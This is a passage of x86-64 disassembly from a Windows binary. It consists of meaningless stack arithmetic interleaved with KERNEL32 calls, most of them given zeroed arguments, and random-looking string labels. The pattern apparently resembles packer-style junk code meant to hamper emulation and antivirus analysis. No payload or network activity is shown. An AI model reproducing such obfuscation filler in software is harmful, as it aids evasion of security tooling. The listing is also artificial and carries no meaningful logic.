mov rax, qword [rsp + 0x9270]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xaf98]
mov qword [rsp + 0xc000], rcx
movzx ecx, al
mov rax, qword [rsp + 0xc000]
mov rax, qword [rax]
shl rax, cl
mov qword [rsp + 0xac80], rax
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_FlushInstructionCache]
mov rax, qword [rsp + 0xbc98]
mov rcx, qword [0x14024f3c0]
mov rax, qword [rax]
xor rax, rcx
mov qword [rsp + 0x88d8], rax
movzx ecx, word [rsp + 0xf5c]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x1644], ax
mov rax, qword [rsp + 0xb638]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x4cd8]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0x5058], eax
mov rax, qword [rsp + 0xb860]
movzx eax, byte [rax]
mov byte [rsp + 0x2f4], al
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetHandleInformation]
lea rcx, [rsp + 0xc008]
call qword [sym.imp.KERNEL32.dll_QueryPerformanceFrequency]
movsx eax, word [rsp + 0x13b4]
movsx ecx, word [0x14024f3bc]
sub eax, ecx
mov rcx, qword [rsp + 0x9898]
mov word [rcx], ax
mov edx, 0x6f9
mov rcx, qword [rsp + 0x9ba8]
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov dword [rsp + 0x4a04], eax
lea rdx, [rsp + 0xc010]
mov rcx, qword [rsp + 0xac88]
call qword [sym.imp.KERNEL32.dll_GetFileSizeEx]
mov dword [rsp + 0x4ccc], eax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetPriorityClass]
mov rax, qword [rsp + 0xb548]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x485c]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x3ef8], eax
lea rcx, [rsp + 0x22500]
call qword [sym.imp.KERNEL32.dll_GetVersionExW]
mov dword [rsp + 0x4ba0], eax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GlobalUnfix]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_AssignProcessToJobObject]
mov qword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0x37db
mov r9d, 0x1f77
mov r8d, 0x5d3b72a9
mov edx, 1
mov rcx, qword [rsp + 0xa908]
call qword [sym.imp.KERNEL32.dll_LockFileEx]
mov dword [rsp + 0x4f78], eax
mov rax, qword [rsp + 0x9730]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0xacc0]
movzx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [0x14024f098]
mov byte [rcx], al
lea rdx, [rsp + 0xab28]
mov rcx, qword [rsp + 0xb840]
call qword [sym.imp.KERNEL32.dll_GetFileSizeEx]
mov dword [rsp + 0x5080], eax
movzx ecx, word [rsp + 0x121c]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x1600], ax
movzx ecx, word [rsp + 0x145c]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x1654], ax
mov rax, qword [0x14024f050]
movzx eax, word [rax]
mov word [rsp + 0x1658], ax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetMailslotInfo]
mov rax, qword [rsp + 0x9608]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x8f60]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x8110], rax
lea rcx, [rsp + 0xba80]
call qword [sym.imp.KERNEL32.dll_QueryPerformanceFrequency]
mov rax, qword [rsp + 0xbec8]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x8498]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x7d38], rax
mov r9d, 0x62b
xor r8d, r8d
lea rdx, [rsp + 0xaec8]
mov ecx, 1
call qword [sym.imp.KERNEL32.dll_WaitForMultipleObjects]
mov dword [rsp + 0x4a74], eax
mov rax, qword [rsp + 0xa658]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x9c20]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x2d6], al
lea rcx, [rsp + 0xc018]
call qword [sym.imp.KERNEL32.dll_QueryPerformanceFrequency]
mov rax, qword [rsp + 0xb890]
mov rcx, qword [rsp + 0xae58]
mov ecx, dword [rcx]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0x43fc], eax
lea rcx, [rsp + 0x1a828]
call qword [sym.imp.KERNEL32.dll_GetSystemInfo]
call qword [sym.imp.KERNEL32.dll_GetCommandLineW]
mov qword [rsp + 0x9d88], rax
lea rdx, [rsp + 0xc020]
mov rcx, qword [rsp + 0x9c08]
call qword [sym.imp.KERNEL32.dll_GetFileSizeEx]
mov dword [rsp + 0x4b10], eax
mov edx, 0x1252
mov rcx, qword [rsp + 0xb320]
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov dword [rsp + 0x4a48], eax
movzx ecx, word [rsp + 0x1488]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x165c], ax
lea rax, [0x14024f3bc]
mov qword [rsp + 0xc028], rax
lea rcx, [rsp + 0x1aa08]
call qword [sym.imp.KERNEL32.dll_GetSystemInfo]
movsx eax, byte [rsp + 0x238]
mov rcx, qword [rsp + 0x9680]
movsx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0xb860]
mov byte [rcx], al
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetSystemTimeAdjustment]
mov rax, qword [rsp + 0xa868]
mov eax, dword [rax]
mov dword [rsp + 0x5084], eax
mov edx, 0x9f9
mov rcx, qword [rsp + 0xbf38]
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov dword [rsp + 0x4d34], eax
lea rax, [rsp + 0xf0c]
mov qword [0x14024efe0], rax
lea rcx, str.7mVj_g7cK_CP1
call qword [sym.imp.KERNEL32.dll_AddAtomW]
mov word [rsp + 0x1660], ax
xor r8d, r8d
mov edx, 4
lea rcx, [rsp + 0x20220]
call qword [sym.imp.KERNEL32.dll_VerifyVersionInfoW]
mov dword [rsp + 0x4ba0], eax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetProcessIoCounters]
mov rax, qword [rsp + 0x9fd0]
movzx ecx, al
mov rax, qword [0x14024f3c0]
sar rax, cl
mov qword [rsp + 0x8f60], rax
lea rcx, [rsp + 0xa580]
call qword [sym.imp.KERNEL32.dll_QueryPerformanceCounter]
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateMutexW]
mov qword [rsp + 0xc030], rax
mov rax, qword [rsp + 0x9c88]
mov rcx, qword [rsp + 0xaad0]
mov qword [rsp + 0xc038], rcx
movzx ecx, al
mov rax, qword [rsp + 0xc038]
mov rax, qword [rax]
shl rax, cl
mov qword [rsp + 0x7a28], rax
lea rdx, [rsp + 0xa118]
mov rcx, qword [rsp + 0x9fa0]
call qword [sym.imp.KERNEL32.dll_GetFileSizeEx]
mov dword [rsp + 0x4ce4], eax
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
mov rax, qword [rsp + 0xa428]
movzx eax, word [rax]
mov rcx, qword [0x14024f3b0]
movzx ecx, word [rcx]
xor eax, ecx
mov rcx, qword [rsp + 0x8f20]
mov word [rcx], ax
lea rcx, str.xg_8foUjAyEoXDS
call qword [sym.imp.KERNEL32.dll_AddAtomW]
mov word [rsp + 0x1664], ax
mov rax, qword [rsp + 0x9c58]
mov ecx, dword [rsp + 0x4970]
mov eax, dword [rax]
or eax, ecx
mov rcx, qword [rsp + 0xb478]
mov dword [rcx], eax
mov rax, qword [rsp + 0xb438]
movzx eax, word [rax]
mov word [rsp + 0x1668], ax
mov eax, dword [0x14022fb68]
mov ecx, dword [rsp + 0x4268]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xbb88]
mov dword [rcx], eax
call qword [sym.imp.KERNEL32.dll_GetCommandLineW]
mov qword [rsp + 0x9590], rax
movzx eax, byte [rsp + 0x60]
mov byte [rsp + 0x2f5], al
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov qword [rsp + 0xa260], rax
movzx ecx, word [rsp + 0x1158]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x166c], ax
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_ClearCommError]
mov rax, qword [rsp + 0xae88]
movzx eax, byte [rax]
imul eax, eax, 0x26
mov rcx, qword [rsp + 0x99e0]
mov byte [rcx], al
movzx eax, byte [rsp + 0x1a3]
movzx ecx, byte [rsp + 0x2e8]
and eax, ecx
mov byte [0x14022fb97], al
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_PulseEvent]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GlobalCompact]
mov rcx, qword [rsp + 0xa0f8]
call qword [sym.imp.KERNEL32.dll_SetEvent]
mov dword [rsp + 0x5088], eax
mov rax, qword [rsp + 0xb250]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xb28]
add eax, ecx
mov rcx, qword [rsp + 0x9820]
mov word [rcx], ax
lea rax, [rsp + 0x4d4c]
mov qword [rsp + 0xc040], rax
mov rax, qword [rsp + 0xa030]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x8290]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0xba78], rax
mov qword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0xe8c
mov r9d, 0x32c9
mov r8d, 0xca975d99
mov edx, 2
mov rcx, qword [rsp + 0xafe0]
call qword [sym.imp.KERNEL32.dll_LockFileEx]
mov dword [rsp + 0x4c90], eax
lea rax, [rsp + 0xba78]
mov qword [rsp + 0xc048], rax
mov rcx, qword [rsp + 0x9580]
call qword [sym.imp.KERNEL32.dll_ResetEvent]
mov rax, qword [rsp + 0x9f50]
mov rcx, qword [rsp + 0x96a8]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0xa930]
mov dword [rcx], eax
mov qword [rsp + 0x20], 0
mov r9d, 0xd77
mov r8d, 0x16ba
mov edx, 0xd3
mov rcx, qword [rsp + 0xac00]
call qword [sym.imp.KERNEL32.dll_UnlockFileEx]
mov dword [rsp + 0x508c], eax
xor r8d, r8d
mov edx, 0x20
lea rcx, [rsp + 0x1fb60]
call qword [sym.imp.KERNEL32.dll_VerifyVersionInfoW]
mov dword [rsp + 0x4c60], eax
call qword [sym.imp.KERNEL32.dll_GetCommandLineW]
mov qword [rsp + 0xa190], rax
mov edx, 0x5a5
mov rcx, qword [rsp + 0xaf40]
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov dword [rsp + 0x5090], eax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GlobalDeleteAtom]
mov r9d, 2
lea r8, [rsp + 0xa678]
mov rdx, qword [rsp + 0xc010]
mov rcx, qword [rsp + 0xab38]
call qword [sym.imp.KERNEL32.dll_SetFilePointerEx]
mov dword [rsp + 0x49f4], eax
movsx eax, word [0x14024f3be]
mov rcx, qword [rsp + 0xb438]
movsx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x1668], ax
movsx eax, byte [rsp + 0x124]
mov rcx, qword [rsp + 0xa488]
movsx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x68], al
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x20
mov dword [rsp + 0x20], 3
xor r9d, r9d
mov r8d, 1
mov edx, 0xc0000000
lea rcx, str.S6gH3t1ozotHNWb2Q2
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov qword [rsp + 0xc050], rax
call qword [sym.imp.KERNEL32.dll_GetCommandLineW]
mov qword [rsp + 0xaca0], rax
movzx ecx, word [rsp + 0xf44]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x1264], ax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_AssignProcessToJobObject]
xor r8d, r8d
mov edx, 0x40
lea rcx, [rsp + 0x219c0]
call qword [sym.imp.KERNEL32.dll_VerifyVersionInfoW]
mov dword [rsp + 0x4d24], eax
mov dword [rsp + 0x20], 0x2693
mov r9d, 0x1042
mov r8d, 0x1a70
mov edx, 0x2cd4
mov rcx, qword [rsp + 0xa398]
call qword [sym.imp.KERNEL32.dll_UnlockFile]
mov dword [rsp + 0x4a3c], eax
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateMutexW]
mov qword [rsp + 0xc058], rax
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetFileAttributesExW]
mov rax, qword [rsp + 0xbc68]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x2cb]
sub eax, ecx
mov rcx, qword [rsp + 0x9218]
mov byte [rcx], al
mov rcx, qword [rsp + 0xb678]
call qword [sym.imp.KERNEL32.dll_ReleaseMutex]
lea rcx, [rsp + 0xc010]
call qword [sym.imp.KERNEL32.dll_QueryPerformanceFrequency]
mov eax, dword [rsp + 0x4ef4]
mov ecx, dword [rsp + 0x4070]
add ecx, eax
mov eax, ecx
mov dword [0x14024f350], eax
call qword [sym.imp.KERNEL32.dll_GetCommandLineW]
mov qword [rsp + 0xa138], rax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_AssignProcessToJobObject]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_EncodePointer]
lea rax, [rsp + 0xb140]
mov qword [rsp + 0xc060], rax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetProcessPriorityBoost]
movzx ecx, word [rsp + 0x10f8]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x1094], ax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_AssignProcessToJobObject]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetThreadContext]
mov rax, qword [rsp + 0xa2e0]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x98f0]
movzx ecx, word [rcx]
and eax, ecx
mov word [rsp + 0x10e8], ax
movzx ecx, word [rsp + 0x12f4]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x12e4], ax
mov dword [rsp + 0x22f20], 0x11c
mov rax, qword [rsp + 0x9a48]
mov rax, qword [rax]
mov qword [rsp + 0xc068], rax
mov rax, qword [rsp + 0xaeb8]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x1450]
imul eax, ecx
mov word [rsp + 0x1468], ax
movsx eax, byte [rsp + 0x29b]
movsx ecx, byte [rsp + 0x29e]
xor eax, ecx
mov rcx, qword [rsp + 0xbfc0]
mov byte [rcx], al
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_FlushViewOfFile]
movzx ecx, word [rsp + 0x1580]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0xf58], ax
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov qword [rsp + 0x97a0], rax
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateMutexW]
mov qword [rsp + 0xc070], rax
mov rax, qword [rsp + 0xb570]
movsx eax, word [rax]
movsx ecx, word [rsp + 0xc28]
or eax, ecx
mov word [rsp + 0xda4], ax
movzx ecx, word [rsp + 0x1150]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x15ec], ax
mov rcx, qword [rsp + 0x8d00]
call qword [sym.imp.KERNEL32.dll_ReleaseMutex]
mov rax, qword [rsp + 0xad88]
mov eax, dword [rax]
mov rcx, qword [rsp + 0xbe60]
mov qword [rsp + 0xc078], rcx
movzx ecx, al
mov rax, qword [rsp + 0xc078]
mov eax, dword [rax]
sar eax, cl
mov dword [rsp + 0x4538], eax
movzx eax, byte [rsp + 0x2a5]
mov byte [rsp + 0x2f6], al
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetFileTime]
mov eax, dword [rsp + 0x4710]
mov rcx, qword [rsp + 0xa878]
mov qword [rsp + 0xc080], rcx
movzx ecx, al
mov rax, qword [rsp + 0xc080]
mov eax, dword [rax]
shl eax, cl
mov rcx, qword [0x14024f328]
mov dword [rcx], eax
mov rax, qword [rsp + 0x8508]
cqo
mov rcx, qword [rsp + 0xa470]
idiv qword [rcx]
mov qword [rsp + 0x8290], rax
movzx eax, byte [rsp + 0x2df]
mov rcx, qword [rsp + 0xb3a0]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x289], al
mov rax, qword [rsp + 0xb508]
movzx eax, word [rax]
movzx ecx, word [0x14024f0c8]
sub eax, ecx
mov word [rsp + 0x9f4], ax
lea rcx, str.dqXRq
call qword [sym.imp.KERNEL32.dll_AddAtomW]
mov word [rsp + 0x1670], ax
movzx ecx, word [rsp + 0x127c]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x13f8], ax
mov rax, qword [rsp + 0x9c80]
mov rcx, qword [rsp + 0x9c48]
mov ecx, dword [rcx]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0x4f04], eax
lea rdx, [rsp + 0xc088]
mov rcx, qword [rsp + 0xa328]
call qword [sym.imp.KERNEL32.dll_GetFileSizeEx]
mov dword [rsp + 0x4b24], eax
mov r9d, 1
lea r8, [rsp + 0x9b20]
mov rdx, qword [rsp + 0xb098]
mov rcx, qword [rsp + 0xa768]
call qword [sym.imp.KERNEL32.dll_SetFilePointerEx]
mov dword [rsp + 0x4fd8], eax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_AssignProcessToJobObject]
movzx ecx, word [rsp + 0x14d0]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x1160], ax
lea rax, [rsp + 0x44d0]
mov qword [rsp + 0xc090], rax
lea rcx, [rsp + 0x1abb8]
call qword [sym.imp.KERNEL32.dll_GetSystemInfo]
mov rax, qword [rsp + 0xbbc0]
movsx eax, byte [rax]
imul eax, eax, 0x18
mov rcx, qword [rsp + 0xa538]
mov byte [rcx], al
mov rax, qword [rsp + 0xa360]
movsx eax, word [rax]
movsx ecx, word [rsp + 0xef0]
sub eax, ecx
mov rcx, qword [rsp + 0x9ad0]
mov word [rcx], ax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_FreeResource]
lea rcx, [rsp + 0xc098]
call qword [sym.imp.KERNEL32.dll_QueryPerformanceFrequency]
mov rax, qword [rsp + 0x9738]
mov rax, qword [rax]
mov qword [rsp + 0xc0a0], rax
mov rax, qword [rsp + 0xbcc0]
mov rcx, qword [0x14024f138]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x4d4c], eax
lea rax, [rsp + 0x11c4]
mov qword [0x14024efd8], rax
movzx eax, byte [rsp + 0x297]
mov byte [rsp + 0x2f7], al
mov rax, qword [rsp + 0xb530]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xb7c8]
add rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x9ff0]
mov qword [rcx], rax
xor r8d, r8d
mov edx, 0x10
lea rcx, [rsp + 0x208e0]
call qword [sym.imp.KERNEL32.dll_VerifyVersionInfoW]
mov dword [rsp + 0x4fb0], eax
lea rcx, [rsp + 0xb078]
call qword [sym.imp.KERNEL32.dll_QueryPerformanceFrequency]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetThreadIOPendingFlag]
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateMutexW]
mov qword [rsp + 0xc0a8], rax
xor r8d, r8d
mov edx, 0x40
lea rcx, [rsp + 0x1f5c0]
call qword [sym.imp.KERNEL32.dll_VerifyVersionInfoW]
mov dword [rsp + 0x4b68], eax
mov rax, qword [rsp + 0xafa8]
mov rcx, qword [rsp + 0xa6d8]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0xb3b8], rax
lea rax, [rsp + 0x5018]
mov qword [rsp + 0xc0b0], rax
movsx eax, byte [rsp + 0x223]
movsx ecx, byte [rsp + 0xe1]
sub eax, ecx
mov byte [rsp + 0x292], al
mov rcx, qword [rsp + 0xbc60]
call qword [sym.imp.KERNEL32.dll_SetEvent]
mov dword [rsp + 0x4b94], eax
lea rax, [rsp + 0x15cc]
mov qword [rsp + 0xc0b8], rax
movzx eax, word [rsp + 0x74c]
mov rcx, qword [rsp + 0xb730]
movzx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0xa628]
mov word [rcx], ax
lea rcx, str.HtPG3xa_5y
call qword [sym.imp.KERNEL32.dll_AddAtomW]
mov word [rsp + 0x1674], ax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_ConvertThreadToFiber]
mov rax, qword [rsp + 0xa988]
mov ecx, dword [rsp + 0x3f94]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x4404], eax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetCommMask]
movzx eax, byte [rsp + 0x2ba]
mov rcx, qword [rsp + 0x9a38]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [0x14024f1e0], al
movzx ecx, word [rsp + 0x12e8]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x1678], ax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetThreadPriorityBoost]
mov rax, qword [rsp + 0x9688]
mov rax, qword [rax]
movzx ecx, al
mov rax, qword [rsp + 0xb7c8]
shl rax, cl
mov rcx, qword [rsp + 0xb7e0]
mov qword [rcx], rax
mov rax, qword [rsp + 0x89c8]
movzx ecx, al
mov rax, qword [0x14024f3c0]
sar rax, cl
mov rcx, qword [rsp + 0x9de8]
mov qword [rcx], rax
mov qword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0x1436
mov r9d, 0x3ead
mov r8d, 0xbbadac7
mov edx, 1
mov rcx, qword [rsp + 0x9ea8]
call qword [sym.imp.KERNEL32.dll_LockFileEx]
mov dword [rsp + 0x4f84], eax
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_EraseTape]
mov rax, qword [rsp + 0xa878]
mov eax, dword [rax]
mov dword [rsp + 0x5094], eax
lea rcx, [rsp + 0xc0c0]
call qword [sym.imp.KERNEL32.dll_QueryPerformanceFrequency]
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov qword [rsp + 0xbc38], rax
mov rax, qword [rsp + 0xbb98]
mov ecx, dword [rsp + 0x4908]
mov eax, dword [rax]
xor eax, ecx
mov dword [rsp + 0x5018], eax
mov rax, qword [rsp + 0x9870]
movsx eax, word [rax]
movsx ecx, word [rsp + 0xfe8]
or eax, ecx
mov word [rsp + 0x5b0], ax
mov rcx, qword [rsp + 0xadd8]
call qword [sym.imp.KERNEL32.dll_ReleaseMutex]
call qword [sym.imp.KERNEL32.dll_GetCommandLineW]
mov qword [rsp + 0x9f58], rax
mov rax, qword [rsp + 0x9330]
mov rcx, qword [rsp + 0x9970]
mov rax, qword [rax]
and rax, rcx
mov qword [rsp + 0xb848], rax
lea rcx, [rsp + 0xb520]
call qword [sym.imp.KERNEL32.dll_QueryPerformanceCounter]
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x40
mov dword [rsp + 0x20], 0
xor r9d, r9d
mov r8d, 2
mov edx, 0x40000000
lea rcx, str.PRzAC9ZcHAA
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov qword [rsp + 0xc0c8], rax
mov rax, qword [rsp + 0xb6c0]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x2ee]
add eax, ecx
mov rcx, qword [rsp + 0xac78]
mov byte [rcx], al
lea rax, [rsp + 0xdac]
mov qword [rsp + 0xc0d0], rax
mov rax, qword [rsp + 0x9c48]
mov eax, dword [rax]
mov dword [0x14024efd0], eax
lea rdx, [rsp + 0x9ee8]
mov rcx, qword [rsp + 0xac30]
call qword [sym.imp.KERNEL32.dll_GetFileSizeEx]
mov dword [rsp + 0x4bc4], eax
movzx eax, word [rsp + 0xb28]
movzx ecx, word [rsp + 0x11d4]
sub eax, ecx
mov word [rsp + 0xd34], ax
movzx eax, byte [rsp + 0x2d6]
mov byte [rsp + 0x2f8], al
movzx ecx, word [rsp + 0xfdc]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x167c], ax
lea rcx, [rsp + 0x22aa0]
call qword [sym.imp.KERNEL32.dll_GetVersionExW]
mov dword [rsp + 0x4e48], eax
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetWriteWatch]
movzx eax, byte [rsp + 0x2da]
movzx ecx, byte [rsp + 0x130]
imul eax, ecx
mov rcx, qword [rsp + 0xb588]
mov byte [rcx], al
mov rax, qword [rsp + 0xaa98]
mov ecx, dword [rsp + 0x4554]
mov eax, dword [rax]
and eax, ecx
mov rcx, qword [rsp + 0xb158]
mov dword [rcx], eax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_AssignProcessToJobObject]
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov qword [rsp + 0xa5b8], rax
lea rax, [rsp + 0xfc8]
mov qword [rsp + 0xc0d8], rax
mov rax, qword [rsp + 0xa568]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x271]
sub eax, ecx
mov byte [rsp + 0x2c0], al
mov rax, qword [rsp + 0xadf0]
movzx eax, word [rax]
mov word [rsp + 0x1680], ax
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_FlushInstructionCache]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CancelWaitableTimer]
mov rcx, qword [rsp + 0x8ce0]
call qword [sym.imp.KERNEL32.dll_ReleaseMutex]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_AssignProcessToJobObject]
mov rax, qword [rsp + 0x9cf8]
mov eax, dword [rax]
mov ecx, dword [0x14024f0f8]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x41e4], eax
movzx ecx, word [rsp + 0x1204]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x152c], ax
movzx eax, byte [rsp + 0x2bc]
movzx ecx, byte [rsp + 0x2ed]
add eax, ecx
mov rcx, qword [0x14024f2a8]
mov byte [rcx], al
mov rax, qword [rsp + 0x97c8]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x93b0]
add rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0xaf20]
mov qword [rcx], rax
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateTapePartition]
mov edx, 0x875
mov rcx, qword [rsp + 0xaf78]
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov dword [rsp + 0x5098], eax
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_EraseTape]
movzx ecx, word [rsp + 0x10ec]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x137c], ax
lea rcx, [rsp + 0xbcb8]
call qword [sym.imp.KERNEL32.dll_QueryPerformanceFrequency]
lea rax, [rsp + 0xbc48]
mov qword [rsp + 0xc0e0], rax
lea rcx, str.Kbx_6PmGXlf
call qword [sym.imp.KERNEL32.dll_AddAtomW]
mov word [rsp + 0x1684], ax
movzx ecx, word [rsp + 0x141c]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x118c], ax
mov rax, qword [rsp + 0xac20]
mov rcx, qword [rsp + 0xafa8]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0xa280], rax
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov qword [rsp + 0xa0c8], rax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_PulseEvent]
call qword [sym.imp.KERNEL32.dll_GetCommandLineW]
mov qword [rsp + 0xc0e8], rax
lea rax, [0x14024f320]
mov qword [rsp + 0xc0f0], rax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetMailslotInfo]
mov rcx, qword [rsp + 0xa010]
call qword [sym.imp.KERNEL32.dll_SetEvent]
mov dword [rsp + 0x4bd8], eax
mov rax, qword [rsp + 0x9270]
mov rcx, qword [rsp + 0xa848]
mov rax, qword [rax]
or rax, rcx
mov qword [rsp + 0xb870], rax
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov qword [rsp + 0xc0f8], rax
call qword [sym.imp.KERNEL32.dll_GetCommandLineW]
mov qword [rsp + 0x9cf0], rax
lea rax, [rsp + 0xc08]
mov qword [rsp + 0xc100], rax
xor r8d, r8d
mov edx, 2
lea rcx, [rsp + 0x207c0]
call qword [sym.imp.KERNEL32.dll_VerifyVersionInfoW]
mov dword [rsp + 0x4cec], eax
mov eax, dword [rsp + 0x420c]
cdq
idiv dword [rsp + 0x4ab8]
mov dword [rsp + 0x4314], eax
movsx eax, byte [rsp + 0x2a2]
movsx ecx, byte [rsp + 0x2d5]
xor eax, ecx
mov rcx, qword [rsp + 0xbbc0]
mov byte [rcx], al
lea rax, [rsp + 0x297]
